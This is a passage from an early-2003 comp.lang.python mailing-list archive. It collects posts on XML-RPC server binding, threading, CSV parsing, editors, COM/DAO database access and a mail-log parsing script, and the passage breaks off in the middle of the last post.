bradh at cuneata.net wrote:
> 
> Quoting "Meehan, Francois" <Francois at iecholden.com>:
> <snip>
> > if __name__=='__main__':
> >     server = SimpleXMLRPCServer.SimpleXMLRPCServer(("localhost",
> > 8000))
> "localhost" has very specific meaning and will normally only bind to the
> loopback interface. If you insert the machine name here, you should be able to
> use it on another interface.

Or, perhaps more generally, just use an address of ('', 8000) so that
the server listens on all interfaces (including, not coincidentally, 
127.0.0.1 or localhost).

-Peter



From erno-news at erno.iki.fi  Mon Jan  6 06:39:45 2003
From: erno-news at erno.iki.fi (Erno Kuusela)
Date: 06 Jan 2003 13:39:45 +0200
Subject: Threaded server in python!?
References: <av4u4r$v3c$06$1@news.t-online.com>
Message-ID: <kuznqeld6m.fsf@lasipalatsi.fi>

In article <av4u4r$v3c$06$1 at news.t-online.com>, "Achim Domma"
<achim.domma at syynx.de> writes:

| Hi,
| I would like to implement my own http chat server. As far as I know pythons
| threads are not very efficient due to the global interpreter lock. But
| applications like Zope, Webware, ... work fine and they use threads. Am I
| missing something or could somebody post some experiences (good ones and bad
| ones) with threaded, socked based python servers.

threads do not necessarily slow you down much, after importing the
thread module python only slows down by about 50% and if the number of
threads is not large, the resource overhead is not too bad either.

there are much better reasons to avoid threads than efficiency, such
as error proneness and debugging difficulties due to nondeterministic
scheduling.

worrying about the global interpreter lock suggests you may be
planning to use multiple processors. in that case you need to use a
python process per processor.

  -- erno



From peter at engcorp.com  Sat Jan 25 22:14:00 2003
From: peter at engcorp.com (Peter Hansen)
Date: Sat, 25 Jan 2003 22:14:00 -0500
Subject: December 2002 comp.lang.* stats
References: <b0tctd$9cn$1@bob.news.rcn.net> <mailman.1043502285.20597.python-list@python.org> <b0ubqb$oiv$3@bob.news.rcn.net> <3E32E5D6.82887F98@engcorp.com> <3E333E22.D69C6E87@alcyone.com>
Message-ID: <3E335278.8F2DD2E8@engcorp.com>

Erik Max Francis wrote:
> 
> Peter Hansen wrote:
> 
> > Spam is probably a problem best ignored.  It would probably
> > affect all those groups equally anyway.
> 
> Actually, that's one of the problems with his collapsing hierarchies
> into a single number.  To first order, spammers would probably post to
> every comp.* group with the same frequency.  So if a hierarchy contains
> six groups, the raw numbers will likely be overcounting spam by
> approximately a factor of six, as compared to a solitary newsgroup.

I would think that removing unique posters would eliminate a lot
of this effect, as the same poster would be sending to each newsgroup.
Yes, many use random addresses... but don't they still send in bulk?

> To second order, there's probably an additional effect of newsgroups
> with names that sort lexicographically early getting more spam, since
> more spammers do their spams sequentially, and those that get forcibly
> stopped will be less likely to hit comp.lang.z than comp.lang.a.

I strongly doubt anyone gets stopped fast enough to prevent their 
spamming one comp.lang group shortly after they've done another one.

In the end, my comment should really be taken as "spam is a small
enough issue, in my experience, to be ignored in the results as
mere noise".  I readily admit my experience is limited to c.l.p
and several other groups *not* in the c.l. hierarchy, so maybe 
some of those other groups get *much* more spam than c.l.p, but
I sort of doubt it.  Maybe someone will take the time to calculate
actual numbers to prove or disprove this point.  I wouldn't bother
though.

-Peter



From akjmicro at yahoo.com  Sat Jan 25 10:46:28 2003
From: akjmicro at yahoo.com (Aaron K. Johnson)
Date: Sat, 25 Jan 2003 09:46:28 -0600
Subject: December 2002 comp.lang.* stats
References: <b0tctd$9cn$1@bob.news.rcn.net> <3E323B85.9DF6D032@alcyone.com>
Message-ID: <b0ubqc$oiv$4@bob.news.rcn.net>

In message <3E323B85.9DF6D032 at alcyone.com>, Erik Max Francis wrote:
> "Aaron K. Johnson" wrote:
> 
> > What you see below are pure and simple the number of unique posters to
> > each
> > comp.lang.whatever hierarchy in December 2002.
> 
> So they're to the whole hierarchy?  Several of these groups have large
> hierarchies, some don't; some of those subgroups are moderated.  Does
> this take into account crossposts within hierarchies, or across them? 
> How about spam?  Right there those factors are going to tweak the
> numbers in favor of hierarchies with more groups rather than less, even
> setting aside whether or not more groups would encourage more posts, or
> whether or not those languages are more popular and thus have more
> subgroups in the first place.
> 

Yes, all of the hierarchy is included. Thus an individual named 'Joe Blow' will
NOT be counted twice for posting to 'comp.lang.java.programmer' and
'comp.lang.java.cocaine-addict'. So I think the 'popularity' aspect is not a
problem there....

Spam....hmmm.....don't know what kind of mechanism I could set up that would
filter that easily, or without me blowing the script size to larger than I
would want it to be....if you want to take over, I'd pass you the code!

Best,
Aaron.





From mwh at python.net  Fri Jan 17 06:16:01 2003
From: mwh at python.net (Michael Hudson)
Date: Fri, 17 Jan 2003 11:16:01 GMT
Subject: Syntax modification idea: (classmethods, properties locking...)
References: <b077d1$7ag@news.Informatik.Uni-Oldenburg.DE> <mailman.1042756712.16794.python-list@python.org>
Message-ID: <7h3znq0m3g8.fsf@pc150.maths.bris.ac.uk>

Jeff Epler <jepler at unpythonic.net> writes:

> Something like this was suggested once, possibly on python-dev.  The
> syntax proposed there was:
>     def f() [classmethod]:
>         pass
> A chained form was also proposed.

That would be have been me.

> The proposal did not win any wide acceptance.

Hey, I haven't even got started yet :) I think I did the patch just
before Guido made his "no new syntax for 2.3" Pronouncement, so I sat
on the idea.  I was planning to unleash a PEP sometime after 2.3 gets
finished.

I've even found the patch again, although it's not very hard.

Cheers,
M.

-- 
     ARTHUR:  Why are there three of you?
  LINTILLAS:  Why is there only one of you?
     ARTHUR:  Er... Could I have notice of that question?
                   -- The Hitch-Hikers Guide to the Galaxy, Episode 11



From david at no.westcontrol.spam.com  Wed Jan 15 10:02:01 2003
From: david at no.westcontrol.spam.com (David Brown)
Date: Wed, 15 Jan 2003 16:02:01 +0100
Subject: Binary search
References: <4OcV9.12866$ym5.2006@afrodite.telenet-ops.be>
Message-ID: <b03sui$shn$1@news.netpower.no>

"Rudy Schockaert" <rudy.schockaert at pandora.be> wrote in message
news:4OcV9.12866$ym5.2006 at afrodite.telenet-ops.be...
> Hi,
>
> I'm looking for a function that allows me to do a binary search in a file.
> By binary search I mean searching for a sequence of bytes and not the
binary
> search as in the Python Cookbook
> (http://aspn.activestate.com/ASPN/Cookbook/Python/Recipe/81188)
>
> Can anyone point me in the good direction?
>

To do a binary search, the file you are searching through must be ordered.
If you are talking about searching for an arbitrary sequence of bytes in a
file, then it does not make sense to talk about it being "ordered".  So you
are almost certainly going to have to do a linear search through the file.






From Yu.Wang at synopsys.com  Sun Jan  5 20:06:25 2003
From: Yu.Wang at synopsys.com (Yu Wang)
Date: Mon, 06 Jan 2003 09:06:25 +0800
Subject: YATOPS (Yet Another Thread on Python's Speed) (was Re: HELP!
 Must choose  language!)
In-Reply-To: <Pine.LNX.4.51.0301030901530.12784@ns0.tbye.com>
References: <20030101042101.1615.84075.Mailman@mail.python.org> <E18TbTs-0002QZ-00@harrier.mail.pas.earthlink.net> <mailman.1041471183.23600.python-list@python.org> <3E144BFC.399B8510@engcorp.com> <Pine.LNX.4.51.0301030901530.12784@ns0.tbye.com>
Message-ID: <3E18D691.9000108@synopsys.com>

Seems I have entered the bomb-area :)
This topic should have been talked about for dozens of months.
I do miss something when I'm talking about "speed". And sorry for this :)
You all have your own ways of "speed",right?
All in all, python is a pretty good language.
And it works fine in more conditions than I think :)


Dave Brueck wrote:

>On Thu, 2 Jan 2003, Peter Hansen wrote:
>
>  
>
>>Yu Wang wrote:
>>    
>>
>>>For commercial usage, ( sorry, I would say it twice ), python program is
>>>simple, clear, maintainable..., but it's slow.
>>>      
>>>
>>As a developer of commercial software written in Python, I have to say
>>that Yu Wang's statement about Python's speed is simply not always true.
>>I would even venture to suggest that it is only rarely true.
>>    
>>
>
>Here here! Plus, there's a lot more to performance than just CPU
>performance. Our commercial Python software is network bound first, disk
>bound second, and CPU bound third (meaning, under most circumstances CPU
>speed isn't an issue, so neither is Python).
>
>IOW, with some of our stuff we _do_ have some performance requirements
>(e.g. "need to sustain X Mbps of traffic throughput across Y
>connections..") and our pure Python apps meet the requirements quite well.
>
> -Dave
>
>  
>

-- 
Best Regards!

Yu Wang






From uwe.schmitt at procoders.net  Fri Jan 24 12:54:20 2003
From: uwe.schmitt at procoders.net (Uwe Schmitt)
Date: 24 Jan 2003 17:54:20 GMT
Subject: killing thread ?
References: <b0r1ds$10s0fi$1@hades.rz.uni-sb.de> <mailman.1043410542.25830.python-list@python.org> <b0rhl7$112v7d$2@hades.rz.uni-sb.de>
Message-ID: <b0rukc$ukidj$1@hades.rz.uni-sb.de>

Uwe Schmitt <uwe.schmitt at procoders.net> wrote:

> But what if I want to end a thread which hangs because
> it uses 'exec' on some code which loops forever ?

so, what about a new PEP : extend the exec method by limiting
the execution time and memory usage ... 

greetings, Uwe



-- 
Dr. rer. nat. Uwe Schmitt      Computer science is no more about Computers,
uwe.schmitt at num.uni-sb.de      than astronomy is about telescopes. (Dijkstra)
http://www.procoders.net           



From Jon.Kare.hellan at uninett.no  Wed Jan 22 04:01:51 2003
From: Jon.Kare.hellan at uninett.no (Jon =?iso-8859-1?q?K=E5re?= Hellan)
Date: 22 Jan 2003 10:01:51 +0100
Subject: Python, COM & Excel
References: <mailman.1043189517.32123.python-list@python.org>
Message-ID: <tebs29pngg.fsf@persaunet.uninett.no>

Mike Brenner <mikeb at MITRE.ORG> writes:

> If I have an Excel Spreadsheet, are you saying
> that there is a way to get it into XML and 
> that there is away to get that XML back into EXCEL?

Jakarta POI
Gnumeric
OpenOffice.org Calc
MS Office XP

Jon K?re




From max at alcyone.com  Fri Jan  3 05:49:31 2003
From: max at alcyone.com (Erik Max Francis)
Date: Fri, 03 Jan 2003 02:49:31 -0800
Subject: Best Python Editor (under Linux)
References: <pan.2003.01.02.12.09.57.823588@contillion.com> <slrnb18rrp.7kd.rmunn@rmunnlfs.dyndns.org> <slrnb19use.h00.grey@teleute.dmiyu.org> <3e154de3_2@mk-nntp-2.news.uk.tiscali.com>
Message-ID: <3E156ABB.CC059072@alcyone.com>

Paddy wrote:

> Others are comfortable with emacs, another non-simple editor that
> repays the initial
> steeper learning curve by giving a rich environment. ( I hope I've
> succeeded in mentioning
> emacs without playing it down - I don't want to continue that war :-).

I also don't want to get into a vi vs. emacs war, but how does emacs
have a steeper learning curve, at least for just basic text editing
usage (creating files, opening files, editing files, saving files,
quitting)?  On the contrary, I think to a total neophyte vi is a lot
more intimidating:  You can't even start entering text unless you enter
a code first.  Modern graphical versions of emacs start you in a scratch
space and have menu bars that all you to open files, close files, exit
the editor, etc.

I obviously prefer emacs (I know just enough vi to be able to edit
configuration files on systems that for one reason or another don't have
emacs available), so I won't pretend I don't have a bias, but of all the
differences between vi and emacs, emacs having a steeper learning curve
doesn't seem right to me.  (It does have many, many more features than
vi, but you only need to learn the ones you plan to use.)

-- 
 Erik Max Francis / max at alcyone.com / http://www.alcyone.com/max/
 __ San Jose, CA, USA / 37 20 N 121 53 W / &tSftDotIotE
/  \ Then conquer we must, for our cause is just ...
\__/ Francis Scott Key
    Fauxident / http://www.alcyone.com/pyos/fauxident/
 A "faux" ident daemon in Python.



From waltman at pno-trading.com  Fri Jan 17 05:49:43 2003
From: waltman at pno-trading.com (Wim Waltman)
Date: Fri, 17 Jan 2003 11:49:43 +0100
Subject: Convert g3 faxes to ps/pdf
References: <avtael$ofv4@imsp212.netvigator.com> <MPG.188c7c84d11207f89896bd@newszilla.xs4all.nl> <b007n6$abt15@imsp212.netvigator.com>
Message-ID: <3E27DFC7.5010401@pno-trading.com>

Wouter

Of course this is not relevant, but my cellphone service allows the 
combox to receive messages as well as faxes.  The faxes come in as pdf 
files and the combox is accessible via Internet

The other way I use is by means of my wordprocessor (WordPerfect 9) that 
  allows me to publish any document to PDF.

Wim




From adalke at mindspring.com  Wed Jan  8 16:04:38 2003
From: adalke at mindspring.com (Andrew Dalke)
Date: Wed, 08 Jan 2003 14:04:38 -0700
Subject: Python vs. Ruby
In-Reply-To: <7W%S9.13908$t06.405476@news2.east.cox.net>
References: <001501c2b1e4$dac88770$21795418@dell1700> <mailman.1041520444.17527.python-list@python.org> <7W%S9.13908$t06.405476@news2.east.cox.net>
Message-ID: <3E1C9266.9000205@mindspring.com>

Stuart D. Gathman wrote:
> The smalltalk operator ';' is already taken in Python, but let
> me make a quick stab at a Python substitute:
> 
>   aList.sort();.reverse()	# aList.sort(); aList.reverse()
> 
> A statement cannot begin with '.', so ';.' means to invoke another method
> on the same object.

Skipping the discussion for the syntax,

   [].sort();.1

is legal, so it is posible for a statement to begin with '.'.

Personally, I don't want this sort of chaining.

					Andrew
					dalke at dalkescientific.com




From op73418 at mail.telepac.pt  Tue Jan 21 11:18:55 2003
From: op73418 at mail.telepac.pt (Gonçalo Rodrigues)
Date: Tue, 21 Jan 2003 16:18:55 +0000
Subject: Partial string formatting?
Message-ID: <66sq2vse53j5je4eolfufptl5c42g6o1b9@4ax.com>

Hi,

Is there a simple way to do partial string formatting short of using
RE's, e.g

<string> % <mapping>

where if a key is not present in <mapping> it just leaves it untouched?

I thought of subclassing dict to hand out a default item, which it would
just be the requested key wrapped in %()s. Of course this only works if
the format code is s but not with other format codes or even more
complicated options.

Thanks in advance,
G. Rodrigues



From pschmidt at omnimn.com  Fri Jan 17 09:22:00 2003
From: pschmidt at omnimn.com (Phil Schmidt)
Date: 17 Jan 2003 06:22:00 -0800
Subject: Testimonial
Message-ID: <69413f9.0301170622.42542a85@posting.google.com>

No questions here, I just want to express my appreciation for Python.
I've been messing with it for about a year now, and have really
enjoyed the opportunities it has offered me to do things I would never
consider attempting in C (which is my "native" programming language)
or any of the other langauges I am mildly competent in.

Some examples:

-- I've done sockets programming with tkinter to create a custom
client gui for a proprietary test tool. I could have written the GUI
portion of this in VB, but that would have been a truly joyless task.
In Python, once I figured out how to structure the objects, this was a
real breeze.

Part of this GUI required data to be ferried to multiple screen
objects, so I implemented a "patch panel" object to allow arbitrary
objects to plug into arbitrary data sources. This turned out to be an
extremely elegant way to solve the problem. I can't imagine the hair I
would have lost had I attempted this in C or in VB.

-- I've written several different parsers to read and interpret simple
little application specific or play languages. One such processes C
code (!) that contains special, custom data descriptors. The customer
requirements for these descriptors was too complex to allow the C
preprocessor to create the neccesary data structures from the
descriptors.

My Python module scans the C code, extracts the descriptors, and then
builds a new C module that declares and defines the necessary
structures. I spent about a week working on this. and again, had I
attempted to do this in C, I can't imagine it taking any less than a
month to do. Plus, there were subsequent changes requested, taking
only an hour or so in Python to fix, versus what would have likely
been at least a day in C.

-- My latest somewhat-big project is a home accounting program (I
refuse to pay for commercial stuff that tries to do everything for
everybody, and requires a multi-GHz multi-GByte PC with terabytes of
hard drive space and 3-d graphics. Accounting, at core, is simple, and
the software should be too!). I chose to make this a console
application, so had to figure out a simple but extensible method of
doing the menus. With only a few hours of trying out different
methods, I had settled on something I liked. The ability to do quick
prototyping is an amazing productivity booster!

I used Python's introspection capabilities to come up with a simple
data logging method that makes the log itself nearly executable python
code, allowing startup to simply read log lines and execute them to
reproduce the current state of the ledger.

Then, I discovered that reporting would be much easier if I had some
database capability, so I decided to create my own. This too has been
an interesting exercise, prototyping different ways of representing
the data, doing queries, and such. And it's fun!

---------------

Through all the tinkering I've done with Python, I think what I like
best is the fact that I can quickly try something out, and easily and
quickly make changes to evolve to what I'm after. That allows me to
play around with things I would hardly dare touch in C.

In the course of solving some "big" problem, I invariably encounter
lots of interesting little problems that I can actually solve quickly
with Python, and whose solutions in Python almost always turn out to
be quite clean, elegant, and extremely easy to integrate into the
bigger problem that gave rise to the little problem. A good example is
the database stuff: how best to do set operations on queries led me to
a nice little diversion, and which in the end produced a neat little
solution to the problem.


So, bottom line is that I offer hearty applause, and my sincere
gratitude to all the people who have made Python what it is. Thank
you!



From lac at strakt.com  Sun Jan  5 04:28:20 2003
From: lac at strakt.com (Laura Creighton)
Date: Sun, 05 Jan 2003 10:28:20 +0100
Subject: Threaded server in python!? 
In-Reply-To: Message from m_webber_sydney@yahoo.com.au (Matthew) 
   of "05 Jan 2003 00:47:00 PST." <b6ba3f59.0301050047.2209fd55@posting.google.com> 
References: <av4u4r$v3c$06$1@news.t-online.com> <mailman.1041647647.32116.python-list@python.org> <b6ba3f59.0301050047.2209fd55@posting.google.com> 
Message-ID: <200301050928.h059SKjL023562@ratthing-b246.strakt.com>

Twisted is released under the Gnu Lesser General Public License (LGPL).

> Andrew Bennetts <andrew-pythonlist at puzzling.org> wrote
>  
> > Using a library like Twisted <http://twistedmatrix.com/>, it's
> > straightforward to handle multiple sockets, without needing threads.
> > 
> > As a bonus, Twisted has implementations of many common protocols, ready for
> > you to use and adapt to your problem -- I strongly recommend it, as I
> > suspect you will find it *much* easier than the alternatives.
> 
> Twisted looks great, based on a quick glance at the web site, but if
> the license terms were on the web site I could not find them. What
> license is Twisted released under?
> Thanks
> -- 
> http://mail.python.org/mailman/listinfo/python-list




From robin at execulink.com  Fri Jan 10 17:17:23 2003
From: robin at execulink.com (robin)
Date: Fri, 10 Jan 2003 17:17:23 -0500
Subject: Novel Thoughts on Scripting and Languages
References: <52719db8.0301062130.5299a0ff@posting.google.com> <dcuk1vgg1vel593evttuc99f9m5eq646i5@4ax.com> <b03e80d.0301070427.6db0ff67@posting.google.com> <52719db8.0301072113.3c143cfe@posting.google.com>
Message-ID: <33ss1v0675qqs6164srpsir87tnl5eg0b3@4ax.com>

judoscript at hotmail.com (James Huang) wrote:

>Python land has wheat, Java land has rice; both are rich in
>carbohydrate. In addition, Java land also grows beans. What do you
>want to ship across that bridge? If you one day decide to reside
>permanently in Java land, why don't you drive a Cadillac but instead a
>Lexus? In any case, JudoScript is a hovercraft.

This is one of the funniest things I have ever read.

I am scratching my head trying to figure out if Fortran is a
carbohydrate, or perhaps a penny-farthing.

-- robin



From peter at engcorp.com  Thu Jan 16 15:04:00 2003
From: peter at engcorp.com (Peter Hansen)
Date: Thu, 16 Jan 2003 15:04:00 -0500
Subject: slow loop?
References: <1964c4d7.0301130842.2f693958@posting.google.com> <pIFU9.30525$aG4.1599274@twister.austin.rr.com> <b06k1k$art$2@wheel2.two14.net> <3E26E4D2.9EE02BFC@engcorp.com> <b06vho$auj$3@wheel2.two14.net>
Message-ID: <3E271030.BA33621C@engcorp.com>

maney at pobox.com wrote:
> 
> Peter Hansen <peter at engcorp.com> wrote:
> > maney at pobox.com wrote:
> >> for l in someFile.xreadlines():
> >>     fields = csv.split(l)
> >>     ...
> >
> > I haven't reviewed the code, but with the above line driving it, it
> > doesn't seem likely it can handle any lines with embedded newlines,
> > which can easily occur in a CSV file (at least, those written by Excel
> > for one).
> 
> Interesting.  Because mmost of what I'm parsing comes from Excel
> spreadsheets.  Perhaps its because I use OpenOffice to dump them to
> CSV - at least IME it does a better job of not dumping unwanted empty
> columns.  Oh well, I know where I can get a more Excel-compatible
> parser if I need it, though having to get that installed everywhere
> will be a nuisance.

You just happen to be parsing data which has no embedded newlines in
any of the cells, which, I might add, is probably the case for 95% of
Excel spreadsheets.  (I don't think this is unique to Excel at all,
but maybe some spreadsheets can't even do this.)

Try hitting Alt-Enter while in the middle of a cell, and save the
spreadsheet as CSV.  You'll see that the regular lines end with 
CR/LF, while the embedded newline shows up as a simple LF character.
That different won't help you on Windows if you open the file
in text mode though, and not in any case if you use readlines().

Technically, the only thing that would help is to notice that the
LF occurred inside quotation marks, and continue reading on, but 
that's why the simple readlines() call is not enough.

> > Might be great for some people though.  Nice and simple.
> 
> That's me.  Why, I invented "do the simplest thing" *decades* before
> those gen-X folks came along!  <really big grin>

So where were you all those years when I needed that?! :-)

-Peter



From aahz at pythoncraft.com  Sat Jan 25 19:21:19 2003
From: aahz at pythoncraft.com (Aahz)
Date: 25 Jan 2003 19:21:19 -0500
Subject: How to call the super implementation of a property?
References: <2osq2vo3qqgg1nrdg3ude0oms62et81uks@4ax.com>
Message-ID: <b0v9lv$ceh$1@panix2.panix.com>

In article <2osq2vo3qqgg1nrdg3ude0oms62et81uks at 4ax.com>,
Gon?alo Rodrigues  <op73418 at mail.telepac.pt> wrote:
>
>How do I call the super implementation of the n property using super?
>The obvious (to me) does not work:
>
>>>> print super(test2, b).n
>Traceback (most recent call last):
>  File "<interactive input>", line 1, in ?
>AttributeError: 'super' object has no attribute 'n'

That's a good question.  You might want to post to python-dev to see if
there are opinions before filing a bug report on SF.
-- 
Aahz (aahz at pythoncraft.com)           <*>         http://www.pythoncraft.com/

"Argue for your limitations, and sure enough they're yours."  --Richard Bach



From a98mican at ida.his.se  Thu Jan 30 15:52:38 2003
From: a98mican at ida.his.se (Michael Andersson)
Date: Thu, 30 Jan 2003 20:52:38 GMT
Subject: Calling python function form C++ passing a dictionary
Message-ID: <3E39908E.7070500@ida.his.se>

Hi!
I'm trying to call a python function form my c++ program but the 
function is never called. The function expect a dictionary as an 
argument so the call from C++ looks like this:

PyObject* dict = PyDict_New();
PyObject *time = PyInt_FromLong(0);
PyDict_SetItemString(dict, "time", time);
PyObject_CallObject(function, dict);

It works fine for tuples but not for dictionarys.
Any ideas?

Best regards,
/Michael




From mwilson at the-wire.com  Mon Jan  6 16:43:57 2003
From: mwilson at the-wire.com (Mel Wilson)
Date: Mon, 06 Jan 2003 16:43:57 -0500
Subject: Sorting out sort
References: <_YhQ9.391356$GR5.119074@rwcrnsc51.ops.asp.att.net>
 <v14ch7mkp0vu55@news.supernews.com>
 <mailman.1041382562.17669.python-list@python.org>
 <v15qgkgpq72tbf@news.supernews.com>
 <3759308d.0301011401.4b32deba@posting.google.com>
 <3e143ffa$0$71611$edfadb0f@dread11.news.tele.dk>
 <v18hldk4img654@news.supernews.com>
 <3e144c3a$0$71645$edfadb0f@dread11.news.tele.dk>
 <v1b7idcfms9ne0@news.supernews.com>
 <mailman.1041604867.10805.python-list@python.org>
 <R7dF+ks/K35d089yn@the-wire.com>
 <mailman.1041873216.4151.python-list@python.org>
Message-ID: <difG+ks/K76G089yn@the-wire.com>

In article <mailman.1041873216.4151.python-list at python.org>,
com-nospam at ccraig.org (Christopher A. Craig) wrote:
>mwilson at the-wire.com (Mel Wilson) writes:
>
>>    But I'm not personally comfortable with hiding that big
>> side effect inside an innocent-looking expression, even if
>> cognoscenti have learned to raise a red flag anytime they see
>> '.sort('.  There's already enough entry-level confusion with
>
>I'm rather suprised you're willing to hide the time loss in such an
>innocent looking expression.  If I have something that could take
>several seconds to run, I'd really rather see it have its own line.

   That was the big side effect I referred to.  I'm not
necessarily in love with putting expensive operations on
their own lines, but it's a shame go to all the trouble of
sorting a list and then throwing the result away, perhaps to
sort it all over again later.  Better to bind it with a name
and re-use it.. which in Python, as you say, takes a
separate line of code.  Of course, like others, if I needed
a sorted copy my first thought would be to write a function
(perhaps called sorted_copy) that built me one.

        Regards.        Mel.



From jiba at tuxfamily.org  Mon Jan 13 13:10:23 2003
From: jiba at tuxfamily.org (Jiba)
Date: Mon, 13 Jan 2003 19:10:23 +0100
Subject: [ANN] 3D game in Python!
In-Reply-To: <200301131135.52810.rjones@ekit-inc.com>
References: <20030111181843.2c7c52aa.jiba@tuxfamily.org>
	<200301131135.52810.rjones@ekit-inc.com>
Message-ID: <20030113191023.490861af.jiba@tuxfamily.org>

> This is _very_ cool. It's not clear from the website - does Soya3D > handle collision detection?

No... (at least not yet; a physic system would be great).

Actually i use raypicking for collision and wall detection in my game.

Jiba




From bkelley at wi.mit.edu  Thu Jan 23 13:31:22 2003
From: bkelley at wi.mit.edu (Brian Kelley)
Date: Thu, 23 Jan 2003 13:31:22 -0500
Subject: pgame GUI
References: <09gv2vsva0mhvc7pb66fscr3aracv5on7l@4ax.com>
Message-ID: <3E3034FA.3030005@wi.mit.edu>

try pyui

http://pyui.sourceforge.net/




From adfgvx at free.fr  Wed Jan  1 12:44:30 2003
From: adfgvx at free.fr (adfgvx)
Date: Wed, 1 Jan 2003 18:44:30 +0100
Subject: Differences between Methods and functions
Message-ID: <3e1328fe$0$11376$626a54ce@news.free.fr>

I have noticed a strange thing (for me). I have written a function that
recursively walk throught a tree produced by the pyRXP XML parser.
Everything is ok, fast and produces good result.

I transformed it a little (just add self. !) to include it in an object as a
method (still recursive) but now the walk is very much slower (about 100
times !!).
I don't understand why !

Any ideas ?

Thanks,

Bruno





From DLNXPEGFQVEB at spammotel.com  Fri Jan 17 15:20:15 2003
From: DLNXPEGFQVEB at spammotel.com (Christos TZOTZIOY Georgiou)
Date: Fri, 17 Jan 2003 22:20:15 +0200
Subject: Jet Database (DAO3.6), win32com, dbByte field
Message-ID: <4gog2v4g83hr92n8tp31luj80a0u1shro3@4ax.com>

I am trying to update a database of a friend of mine with some MD5 sums
for the files he has in archival CD's...  So, in his FileInfo table, I
did the following:

>>> td = db.TableDefs("FileInfo")
>>> f =tn.CreateField("md5sum", comclt.constants.dbByte, 16)
>>> tn.Fields.Append(f)

I thought the Byte type was the type needed.  I closed the database, and
opened it from his Access 2000, and the field was there, and I could
update it just like a string.  So I tried again from Python:

(after opening the database again)
>>> rs=db.OpenRecordset("test", comclt.constants.dbOpenTable)
>>> rs.Edit()
>>> rs.Fields("md5sum").Value= "hello there"

(I didn't bother calculating a sum here, it was a test)
and I got the following error:

Traceback (most recent call last):
  File "<interactive input>", line 1, in ?
  File
"C:\Pyth.22\win32com\gen_py\00025E01-0000-0000-C000-000000000046x0x5x0.py",
line 2160, in __setattr__
    d.__setattr__(attr, value)
  File "C:\Pyth.22\win32com\client\__init__.py", line 357, in
__setattr__
    apply(self._oleobj_.Invoke, args + (value,) + defArgs)
com_error: (-2147352567, 'Exception occurred.', (0, 'DAO.Field', 'Data
type conversion error.', 'j', 5003421, -2146824867), None)

It seems to me it is a matter of Unicode conversion (since all COM I/O
is through Unicode); the byte field gets Unicode data and so it bails
out.

Unfortunately googling c.l.py I didn't manage to find anything
relevant...

How can I do that?  Can I use an arbitrary byte sequence to fill this
field?

TIA for any info.
-- 
TZOTZIOY, I speak England very best,
Real email address: 'dHpvdEBzaWwtdGVjLmdy\n'.decode('base64')



From max at alcyone.com  Sat Jan  4 04:48:50 2003
From: max at alcyone.com (Erik Max Francis)
Date: Sat, 04 Jan 2003 01:48:50 -0800
Subject: Explicit Frustration of the Self
References: <a1d2c9b4.0212302256.3bbd302f@posting.google.com> <a1d2c9b4.0301040025.58f46c0e@posting.google.com>
Message-ID: <3E16AE02.1EF9FE71@alcyone.com>

DeadWisdom wrote:

> Another thought: how OO is Python?  It allows me to create Objects, I
> guess.  But do these objects really have methods?  I don't think so.
> Not with the way self acts now.  Right now, you are effectively,
> creating functions and then calling them with the first argument
> outside of the parenthesis, and to the left of the function, and a
> dot.

That the self is explicit doesn't mean that Python is suddenly not
object oriented.  Hint:  Practically all implementations of object
oriented languages do it the same way, it's just the self (or this)
argument is implicit.

-- 
 Erik Max Francis / max at alcyone.com / http://www.alcyone.com/max/
 __ San Jose, CA, USA / 37 20 N 121 53 W / &tSftDotIotE
/  \ So look into my eyes / I won't tell you lies
\__/ Neneh Cherry
    Alcyone Systems' Daily Planet / http://www.alcyone.com/planet.html
 A new, virtual planet, every day.



From jimmie-dated-1043474834.7879b0 at illumid.com  Mon Jan 20 21:35:35 2003
From: jimmie-dated-1043474834.7879b0 at illumid.com (Jimmie Fulton)
Date: Mon, 20 Jan 2003 20:35:35 -0600
Subject: sys.stdin and re.search
References: <pan.2003.01.20.06.24.23.588538@illumid.com> <3E2BA4C3.923BE9D2@alcyone.com>
Message-ID: <pan.2003.01.21.02.35.29.469239@illumid.com>

On Sun, 19 Jan 2003 23:26:59 -0800, Erik Max Francis wrote:

> By the way, a more idiomatic way to iterate over every line in a file
> is:
> 
> 	while 1:
> 	    line = F.readline()
> 	    if not line:
> 	        break
> 	    ...
> 
> In modern versions, you can just iterate over the file object itself:
> 
> 	for line in F:
> 	    ...

Yep.  That's what I started with, but I tried different looping methods to
see if that was part of the problem.

I guess I should provide more info, although I think I know the cause
already...

Python: Python 2.2.1
System is Gentoo Linux 1.2.

Here is my code... with a few changes from the suggestions I've received.
:)


<code>
#!/usr/bin/env python
# rblLogger.py

import re
import sys
import psycopg

pattern = re.compile(r"(^\S* \S*\b).*(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\b).*(http://.*)")

dsn = "host=localhost user=jimmie"

con = psycopg.connect(dsn)
cur = con.cursor()

def addEntry(datetime,ipaddress,reason):
        cur.execute("INSERT INTO rblblocks (datetime,ipaddress,reason) VALUES ('%s','%s','%s')" % (datetime,ipaddress,reason))
        con.commit()

# Does not work
f = sys.stdin
# OR
# Does work
# f = os.popen("tail -n+1 --follow=name | tai64nlocal | grep rblsmtpd","r")

for line in f:
        print line     #Testing, delete later
        match = pattern.search(line)
        if match:
                datetime,ipaddress,reason = match.groups()
                #addEntry(datetime,ipaddress,reason)
        	print match    #Testing, delete later

</code>

This is a snippet of the file I'm trying to process...

<file snippet>
@400000003e2a4dd61e2e95dc rblsmtpd: 66.129.124.181 pid 1559: 451 Listed on SBL - see http://spamhaus.org/SBL/sbl.lasso?query=SBL5304
@400000003e2a4dd6310dda8c tcpserver: end 1559 status 0
@400000003e2a4dd6310e2c94 tcpserver: status: 0/40
@400000003e2a4f60352143d4 tcpserver: status: 1/40
@400000003e2a4f60352e9dcc tcpserver: pid 1563 from 204.126.2.42
@400000003e2a4f60382aab74 tcpserver: ok 1563 dsl093-024-243.hou1.dsl.speakeasy.net:66.93.24.243:25 :204.126.2.42::60601
@400000003e2a4f612932593c tcpserver: end 1563 status 0
@400000003e2a4f612932af2c tcpserver: status: 0/40
@400000003e2a502e3005348c tcpserver: status: 1/40
@400000003e2a502e301253ec tcpserver: pid 1569 from 66.129.124.180
@400000003e2a502e3301de74 tcpserver: ok 1569 dsl093-024-243.hou1.dsl.speakeasy.net:66.93.24.243:25 :66.129.124.180::21995
@400000003e2a502f102f0b24 rblsmtpd: 66.129.124.180 pid 1569: 451 Listed on SBL - see http://spamhaus.org/SBL/sbl.lasso?query=SBL5304
</file snippet>

The command I'm issuing on the command line:
